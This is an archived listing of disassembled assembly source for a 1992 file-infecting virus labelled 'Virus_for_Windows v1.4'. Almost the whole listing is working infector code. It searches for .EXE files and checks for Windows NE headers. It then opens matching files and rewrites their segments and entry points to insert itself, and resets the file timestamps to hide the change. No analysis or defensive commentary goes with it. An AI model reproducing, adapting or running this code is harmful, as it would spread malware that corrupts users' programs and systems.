home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / WVIR14A.ASM < prev    next >
Assembly Source File  |  1992-10-06  |  11KB  |  488 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                     ██
  6. ;██                WVIR14                                     ██
  7. ;██                                                     ██
  8. ;██      Created:   1-Sep-92                                         ██
  9. ;██      Passes:    5          Analysis    Options on: none                 ██
  10. ;██                                                     ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_11e    equ    100h            ;*
  14. data_12e    equ    140h            ;*
  15. data_13e    equ    142h            ;*
  16. data_14e    equ    144h            ;*
  17. data_15e    equ    148h            ;*
  18. data_16e    equ    14Ah            ;*
  19. data_17e    equ    150h            ;*
  20. data_18e    equ    16Eh            ;*
  21. data_19e    equ    181h            ;*
  22. data_20e    equ    19Ch            ;*
  23. data_21e    equ    19Eh            ;*
  24. data_22e    equ    1A0h            ;*
  25. data_23e    equ    1A2h            ;*
  26.  
  27. ;------------------------------------------------------------  seg_a   ----
  28.  
  29. seg_a        segment    byte public
  30.         assume cs:seg_a  , ds:seg_a  , ss:stack_seg_b
  31.  
  32.         db    249 dup (0)
  33.  
  34. ;██████████████████████████████████████████████████████████████████████████
  35. ;
  36. ;                       Program    Entry Point
  37. ;
  38. ;██████████████████████████████████████████████████████████████████████████
  39.  
  40.  
  41. wvir14        proc    far
  42.  
  43. start:
  44.         mov    ax,cs
  45.         add    ax,3Bh
  46.         mov    ds,ax
  47.         cld                ; Clear direction
  48.         push    es
  49.         push    ds
  50.         pop    es
  51.         mov    si,data_18e
  52.         mov    di,data_19e
  53.         mov    cx,0Dh
  54.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  55.         mov    dx,data_17e
  56.         mov    ah,1Ah
  57.         int    21h            ; DOS Services  ah=function 1Ah
  58.                         ;  set DTA(disk xfer area) ds:dx
  59.         mov    dx,17Bh
  60.         xor    cx,cx            ; Zero register
  61.         mov    ah,4Eh
  62. loc_1:
  63.         int    21h            ; DOS Services  ah=function 4Fh
  64.                         ;  find next filename match
  65.         jc    loc_2            ; Jump if carry Set
  66.         mov    dx,data_18e
  67.         call    sub_1
  68.         mov    ah,4Fh            ; 'O'
  69.         jmp    short loc_1
  70. loc_2:
  71.         mov    dx,data_19e
  72.         call    sub_2
  73.         pop    es
  74.         mov    ax,4C00h
  75.         int    21h            ; DOS Services  ah=function 4Ch
  76.                         ;  terminate with al=return code
  77.  
  78. wvir14        endp
  79.  
  80. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  81. ;                              SUBROUTINE
  82. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  83.  
  84. sub_1        proc    near
  85.         mov    ax,3D02h
  86.         int    21h            ; DOS Services  ah=function 3Dh
  87.                         ;  open file, al=mode,name@ds:dx
  88.         jc    loc_ret_4        ; Jump if carry Set
  89.         xchg    ax,bx
  90.         mov    si,100h
  91.         call    sub_3
  92.         jc    loc_3            ; Jump if carry Set
  93.         cmp    word ptr [si+14h],100h
  94.         je    loc_3            ; Jump if equal
  95.         mov    ax,5700h
  96.         int    21h            ; DOS Services  ah=function 57h
  97.                         ;  get file date+time, bx=handle
  98.                         ;   returns cx=time, dx=time
  99.         push    cx
  100.         push    dx
  101.         call    sub_4
  102.         pop    dx
  103.         pop    cx
  104.         mov    ax,5701h
  105.         int    21h            ; DOS Services  ah=function 57h
  106.                         ;  set file date+time, bx=handle
  107.                         ;   cx=time, dx=time
  108. loc_3:
  109.         mov    ah,3Eh
  110.         int    21h            ; DOS Services  ah=function 3Eh
  111.                         ;  close file, bx=file handle
  112.  
  113. loc_ret_4:
  114.         retn
  115. sub_1        endp
  116.  
  117.  
  118. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  119. ;                              SUBROUTINE
  120. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  121.  
  122. sub_2        proc    near
  123.         mov    ax,3D02h
  124.         int    21h            ; DOS Services  ah=function 3Dh
  125.                         ;  open file, al=mode,name@ds:dx
  126.         jc    loc_ret_4        ; Jump if carry Set
  127.         xchg    ax,bx
  128.         mov    si,100h
  129.         call    sub_3
  130.         jc    loc_3            ; Jump if carry Set
  131.         cmp    word ptr [si+14h],100h
  132.         jne    loc_3            ; Jump if not equal
  133.         mov    ax,5700h
  134.         int    21h            ; DOS Services  ah=function 57h
  135.                         ;  get file date+time, bx=handle
  136.                         ;   returns cx=time, dx=time
  137.         push    cx
  138.         push    dx
  139.         call    sub_5
  140.         call    sub_6
  141.         pop    dx
  142.         pop    cx
  143.         mov    ax,5701h
  144.         int    21h            ; DOS Services  ah=function 57h
  145.                         ;  set file date+time, bx=handle
  146.                         ;   cx=time, dx=time
  147.         jmp    short loc_3
  148. sub_2        endp
  149.  
  150.  
  151. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  152. ;                              SUBROUTINE
  153. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  154.  
  155. sub_3        proc    near
  156.         call    sub_8
  157.         cmp    word ptr [si],5A4Dh
  158.         jne    loc_5            ; Jump if not equal
  159.         cmp    word ptr [si+18h],40h
  160.         jb    loc_5            ; Jump if below
  161.         mov    ax,[si+3Ch]
  162.         mov    dx,[si+3Eh]
  163.         call    sub_16
  164.         mov    ds:data_20e,ax
  165.         mov    ds:data_21e,dx
  166.         call    sub_8
  167.         cmp    word ptr [si],454Eh
  168.         jne    loc_5            ; Jump if not equal
  169.         cmp    word ptr [si+0Ch],302h
  170.         jne    loc_5            ; Jump if not equal
  171.         cmp    byte ptr [si+32h],4
  172.         jne    loc_5            ; Jump if not equal
  173.         cmp    word ptr [si+36h],802h
  174.         jne    loc_5            ; Jump if not equal
  175.         clc                ; Clear carry flag
  176.         retn
  177. loc_5:
  178.         stc                ; Set carry flag
  179.  
  180. loc_ret_6:
  181.         retn
  182. sub_3        endp
  183.  
  184.  
  185. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  186. ;                              SUBROUTINE
  187. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  188.  
  189. sub_4        proc    near
  190.         mov    ax,[si+16h]
  191.         mov    dx,140h
  192.         call    sub_7
  193.         cmp    word ptr ds:data_13e,3AEh
  194.         jb    loc_ret_6        ; Jump if below
  195.         cmp    byte ptr ds:data_14e,50h    ; 'P'
  196.         jne    loc_ret_6        ; Jump if not equal
  197.         mov    ax,[si+0Eh]
  198.         mov    dx,148h
  199.         call    sub_7
  200.         cmp    word ptr ds:data_16e,4A8h
  201.         jb    loc_ret_6        ; Jump if below
  202.         mov    ax,ds:data_12e
  203.         call    sub_15
  204.         mov    dx,1A8h
  205.         mov    cx,2AEh
  206.         nop
  207.         call    sub_9
  208.         call    sub_13
  209.         mov    dx,1A8h
  210.         mov    cx,2AEh
  211.         nop
  212.         call    sub_12
  213.         mov    ax,word ptr ds:[148h]
  214.         call    sub_15
  215.         mov    dx,1A8h
  216.         mov    cx,0A8h
  217.         nop
  218.         call    sub_9
  219.         call    sub_13
  220.         mov    dx,1A8h
  221.         mov    cx,0A8h
  222.         nop
  223.         call    sub_12
  224.         push    word ptr ds:[144h]
  225.         pop    word ptr ds:[1A2h]
  226.         and    word ptr ds:[144h],0FEFFh
  227.         mov    ax,[si+16h]
  228.         mov    dx,140h
  229.         call    sub_10
  230.         xor    ax,ax            ; Zero register
  231.         cwd                ; Word to double word
  232.         call    sub_14
  233.         push    word ptr [si+14h]
  234.         pop    word ptr ds:[1A0h]
  235.         mov    word ptr [si+14h],100h
  236.         call    sub_11
  237.         mov    ax,word ptr ds:[140h]
  238.         call    sub_15
  239.         push    ds
  240.         push    cs
  241.         pop    ds
  242.         mov    dx,100h
  243.         mov    cx,2AEh
  244.         nop
  245.         call    sub_12
  246.         pop    ds
  247.         mov    ax,word ptr ds:[148h]
  248.         call    sub_15
  249.         mov    dx,100h
  250.         mov    cx,0A8h
  251.         nop
  252.         call    sub_12
  253.         retn
  254. sub_4        endp
  255.  
  256.  
  257. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  258. ;                              SUBROUTINE
  259. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  260.  
  261. sub_5        proc    near
  262.         mov    ax,[si+0Eh]
  263.         mov    dx,148h
  264.         call    sub_7
  265.         mov    ax,ds:data_15e
  266.         call    sub_15
  267.         mov    dx,100h
  268.         mov    cx,0A8h
  269.         nop
  270.         call    sub_9
  271.         retn
  272. sub_5        endp
  273.  
  274.  
  275. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  276. ;                              SUBROUTINE
  277. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  278.  
  279. sub_6        proc    near
  280.         push    word ptr ds:data_23e
  281.         pop    word ptr ds:data_14e
  282.         mov    ax,[si+16h]
  283.         mov    dx,140h
  284.         call    sub_10
  285.         push    word ptr ds:data_22e
  286.         pop    word ptr [si+14h]
  287.         xor    ax,ax            ; Zero register
  288.         cwd                ; Word to double word
  289.         call    sub_14
  290.         call    sub_11
  291.         call    sub_13
  292.         sub    ax,0A8h
  293.         nop
  294.         sbb    dx,0
  295.         push    ax
  296.         push    dx
  297.         call    sub_16
  298.         mov    dx,1A8h
  299.         mov    cx,0A8h
  300.         nop
  301.         call    sub_9
  302.         mov    ax,ds:data_15e
  303.         call    sub_15
  304.         mov    dx,1A8h
  305.         mov    cx,0A8h
  306.         nop
  307.         call    sub_12
  308.         pop    dx
  309.         pop    ax
  310.         sub    ax,2AEh
  311.         nop
  312.         sbb    dx,0
  313.         push    ax
  314.         push    dx
  315.         call    sub_16
  316.         mov    dx,1A8h
  317.         mov    cx,2AEh
  318.         nop
  319.         call    sub_9
  320.         mov    ax,word ptr ds:[140h]
  321.         call    sub_15
  322.         mov    dx,1A8h
  323.         mov    cx,2AEh
  324.         nop
  325.         call    sub_12
  326.         pop    dx
  327.         pop    ax
  328.         call    sub_16
  329.         mov    cx,0
  330.         call    sub_12
  331.         retn
  332. sub_6        endp
  333.  
  334.  
  335. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  336. ;                              SUBROUTINE
  337. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  338.  
  339. sub_7        proc    near
  340.         push    dx
  341.         dec    ax
  342.         mov    cx,8
  343.         mul    cx            ; dx:ax = reg * ax
  344.         add    ax,[si+22h]
  345.         adc    dx,0
  346.         call    sub_14
  347.         pop    dx
  348.         mov    cx,8
  349.         jmp    short loc_7
  350.  
  351. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  352.  
  353. sub_8:
  354.         mov    dx,data_11e
  355.         mov    cx,40h
  356.  
  357. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  358.  
  359. sub_9:
  360. loc_7:
  361.         mov    ah,3Fh
  362.         int    21h            ; DOS Services  ah=function 3Fh
  363.                         ;  read file, bx=file handle
  364.                         ;   cx=bytes to ds:dx buffer
  365.         retn
  366. sub_7        endp
  367.  
  368.  
  369. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  370. ;                              SUBROUTINE
  371. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  372.  
  373. sub_10        proc    near
  374.         push    dx
  375.         dec    ax
  376.         mov    cx,8
  377.         mul    cx            ; dx:ax = reg * ax
  378.         add    ax,[si+22h]
  379.         adc    dx,0
  380.         call    sub_14
  381.         pop    dx
  382.         mov    cx,8
  383.         jmp    short loc_8
  384.  
  385. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  386.  
  387. sub_11:
  388.         mov    dx,data_11e
  389.         mov    cx,40h
  390.  
  391. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  392.  
  393. sub_12:
  394. loc_8:
  395.         mov    ah,40h
  396.         int    21h            ; DOS Services  ah=function 40h
  397.                         ;  write file  bx=file handle
  398.                         ;   cx=bytes from ds:dx buffer
  399.         retn
  400. sub_10        endp
  401.  
  402.  
  403. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  404. ;                              SUBROUTINE
  405. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  406.  
  407. sub_13        proc    near
  408.         mov    ax,4202h
  409.         xor    cx,cx            ; Zero register
  410.         cwd                ; Word to double word
  411.         int    21h            ; DOS Services  ah=function 42h
  412.                         ;  move file ptr, bx=file handle
  413.                         ;   al=method, cx,dx=offset
  414.         retn
  415. sub_13        endp
  416.  
  417.  
  418. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  419. ;                              SUBROUTINE
  420. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  421.  
  422. sub_14        proc    near
  423.         add    ax,ds:data_20e
  424.         adc    dx,ds:data_21e
  425.         jmp    short loc_9
  426.  
  427. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  428.  
  429. sub_15:
  430.         mov    cx,10h
  431.         mul    cx            ; dx:ax = reg * ax
  432.         add    ax,100h
  433.         adc    dx,0
  434.         jmp    short loc_9
  435.         db     33h,0C0h, 99h
  436.  
  437. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  438.  
  439. sub_16:
  440. loc_9:
  441.         xchg    cx,dx
  442.         xchg    ax,dx
  443.         mov    ax,4200h
  444.         int    21h            ; DOS Services  ah=function 42h
  445.                         ;  move file ptr, bx=file handle
  446.                         ;   al=method, cx,dx=offset
  447.         retn
  448. sub_14        endp
  449.  
  450.                                     ;* No entry point to code
  451.         xchg    cx,dx
  452.         xchg    ax,dx
  453.         mov    ax,4201h
  454.         int    21h            ; DOS Services  ah=function 42h
  455.                         ;  move file ptr, bx=file handle
  456.                         ;   al=method, cx,dx=offset
  457.         retn
  458.         db    ' Virus_for_Windows  v1.4 '
  459.         db    259 dup (0)
  460.         db    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  461.         db    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  462.         db    'bbbbbbbbccccccccdddddddddddddddd'
  463.         db    'ddddddddddddddddddddddddddd*.EXE'
  464.         db    0
  465.         db    'eeeeeeeeeeeee'
  466.         db     00h, 00h, 80h, 00h, 00h, 00h
  467.         db     5Ch, 00h, 00h, 00h
  468.         db    6Ch
  469.         db    11 dup (0)
  470.         db     4Dh, 4Bh, 39h, 32h
  471.         db    8 dup (0)
  472.  
  473. seg_a        ends
  474.  
  475.  
  476.  
  477. ;------------------------------------------------------  stack_seg_b   ----
  478.  
  479. stack_seg_b    segment    word stack 'STACK'
  480.  
  481.         db    8192 dup (0)
  482.  
  483. stack_seg_b    ends
  484.  
  485.  
  486.  
  487.         end    start
  488.